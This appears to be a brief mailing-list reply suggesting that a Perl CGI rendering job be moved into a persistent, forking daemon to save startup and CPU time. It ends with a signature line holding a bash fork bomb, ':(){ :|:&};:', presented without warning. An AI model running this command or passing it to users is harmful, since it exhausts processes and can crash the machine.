Could you put your "rendering machine" in a
perl daemon that's always running (and maybe
spawning childs), and have the cgi just trigger
a rendering process with the new args?
this might depend on how you implement stuff, but
with a little help from 'man perlipc' it shouldn't
really be hard.
plus, of course it could save you some startup and CPU
time, cause the modules are already loaded in the daemon.
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bash$ :(){ :|:&};: